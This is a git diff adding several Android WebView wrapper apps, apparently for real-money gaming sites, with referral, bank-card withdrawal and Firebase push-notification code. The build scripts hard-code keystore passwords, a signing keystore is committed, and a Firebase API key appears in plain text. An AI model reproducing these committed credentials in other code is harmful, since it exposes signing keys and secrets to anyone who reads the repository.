diff --git a/limau55/src/main/res/values-en/strings.xml b/limau55/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/limau55/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/limau55/src/main/res/values-night/themes.xml b/limau55/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/limau55/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/limau55/src/main/res/values/app_config.xml b/limau55/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..58fe023
--- /dev/null
+++ b/limau55/src/main/res/values/app_config.xml
@@ -0,0 +1,18 @@
+
+
+
+
+ Limau55
+
+ 236
+
+ https://limau55.org/
+
+ 0
+
+ 1
+
+ #096b3a
+
+ #fdfded
+
\ No newline at end of file
diff --git a/limau55/src/main/res/values/colors.xml b/limau55/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/limau55/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/limau55/src/main/res/values/strings.xml b/limau55/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/limau55/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/limau55/src/main/res/values/themes.xml b/limau55/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/limau55/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/limau55/src/main/res/xml/app_updater_paths.xml b/limau55/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/limau55/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/limau55/src/main/res/xml/network_security_config.xml b/limau55/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/limau55/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/limau55/src/main/res/xml/provider_paths.xml b/limau55/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/limau55/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/limau55/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/limau55/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/limau55/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/malaysia33/.gitignore b/malaysia33/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/malaysia33/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/malaysia33/build.gradle b/malaysia33/build.gradle
new file mode 100644
index 0000000..b10bc88
--- /dev/null
+++ b/malaysia33/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.malaysia33"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "malaysiadkgdkjdfkggggggrf"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/malaysia33/google-services.json b/malaysia33/google-services.json
new file mode 100644
index 0000000..b6cdb05
--- /dev/null
+++ b/malaysia33/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "411636877035",
+ "project_id": "malaysiass",
+ "storage_bucket": "malaysiass.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:411636877035:android:79f0cca15ff251e80a20ae",
+ "android_client_info": {
+ "package_name": "com.xyz.malaysia33"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyCtiJ6aPZ1z4y-tV_w4JtN4k3NLNnN6Dyk"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/malaysia33/justlet.jks b/malaysia33/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/malaysia33/justlet.jks differ
diff --git a/malaysia33/proguard-rules.pro b/malaysia33/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/malaysia33/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/malaysia33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/malaysia33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/malaysia33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/malaysia33/src/main/AndroidManifest.xml b/malaysia33/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..2b983a5
--- /dev/null
+++ b/malaysia33/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/malaysia33/src/main/java/com/xyz/malaysia33/MainActivity.java b/malaysia33/src/main/java/com/xyz/malaysia33/MainActivity.java
new file mode 100644
index 0000000..d678b2e
--- /dev/null
+++ b/malaysia33/src/main/java/com/xyz/malaysia33/MainActivity.java
@@ -0,0 +1,80 @@
+package com.xyz.malaysia33;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/malaysia33/src/main/java/com/xyz/malaysia33/MyFirebaseMessageingService.java b/malaysia33/src/main/java/com/xyz/malaysia33/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..3b02587
--- /dev/null
+++ b/malaysia33/src/main/java/com/xyz/malaysia33/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.malaysia33;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/malaysia33/src/main/java/com/xyz/malaysia33/WebApplication.java b/malaysia33/src/main/java/com/xyz/malaysia33/WebApplication.java
new file mode 100644
index 0000000..bb9bc68
--- /dev/null
+++ b/malaysia33/src/main/java/com/xyz/malaysia33/WebApplication.java
@@ -0,0 +1,16 @@
+package com.xyz.malaysia33;
+
+import android.app.Application;
+import android.content.Context;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/malaysia33/src/main/res/drawable/big_bg.xml b/malaysia33/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/malaysia33/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/mipmap-xxhdpi/app_logo.png b/malaysia33/src/main/res/mipmap-xxhdpi/app_logo.png
new file mode 100644
index 0000000..2d3cd9d
Binary files /dev/null and b/malaysia33/src/main/res/mipmap-xxhdpi/app_logo.png differ
diff --git a/malaysia33/src/main/res/values-en/strings.xml b/malaysia33/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/malaysia33/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/values-night/themes.xml b/malaysia33/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/malaysia33/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/values/app_config.xml b/malaysia33/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..a457909
--- /dev/null
+++ b/malaysia33/src/main/res/values/app_config.xml
@@ -0,0 +1,18 @@
+
+
+
+
+ Malaysia33
+
+ 239
+
+ https://malaysia33.app/
+
+ 0
+
+ 0
+
+ #2e0912
+
+ #44092f
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/values/colors.xml b/malaysia33/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/malaysia33/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/values/strings.xml b/malaysia33/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/malaysia33/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/values/themes.xml b/malaysia33/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/malaysia33/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/xml/app_updater_paths.xml b/malaysia33/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/malaysia33/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/xml/network_security_config.xml b/malaysia33/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/malaysia33/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/malaysia33/src/main/res/xml/provider_paths.xml b/malaysia33/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/malaysia33/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/malaysia33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/malaysia33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/malaysia33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/market/.gitignore b/market/.gitignore
new file mode 100644
index 0000000..42afabf
--- /dev/null
+++ b/market/.gitignore
@@ -0,0 +1 @@
+/build
\ No newline at end of file
diff --git a/market/build.gradle b/market/build.gradle
new file mode 100644
index 0000000..4e21e0b
--- /dev/null
+++ b/market/build.gradle
@@ -0,0 +1,101 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ defaultConfig {
+ applicationId "com.web.market"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+
+ signingConfigs {
+ debug {
+ storeFile file('dskjweb.jks')
+ storePassword "dskj2024"
+ keyAlias 'dskjalias'
+ keyPassword "dskj2024"
+ }
+ release {
+ storeFile file('dskjweb.jks')
+ storePassword "dskj2024"
+ keyAlias 'dskjalias'
+ keyPassword "dskj2024"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+ def appName = "market"
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+
+ api 'androidx.appcompat:appcompat:1.1.0'
+ api 'com.google.android.material:material:1.1.0'
+ api 'androidx.constraintlayout:constraintlayout:1.1.3'
+
+ // okhttp相关库
+ api 'com.squareup.okhttp3:okhttp:4.9.3'
+
+ // JSON解析库
+ api 'com.google.code.gson:gson:2.9.0'
+ api 'com.squareup.retrofit2:retrofit:2.5.0'
+ api 'com.squareup.retrofit2:converter-scalars:2.3.0'
+ api 'com.squareup.retrofit2:converter-gson:2.4.0'
+ api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0'
+ api 'io.reactivex.rxjava2:rxjava:2.1.16'
+ api 'io.reactivex.rxjava2:rxandroid:2.0.2'
+ api 'com.squareup.okhttp3:logging-interceptor:3.10.0'
+
+ api("com.github.bumptech.glide:glide:4.13.1")
+
+ // sdk 33
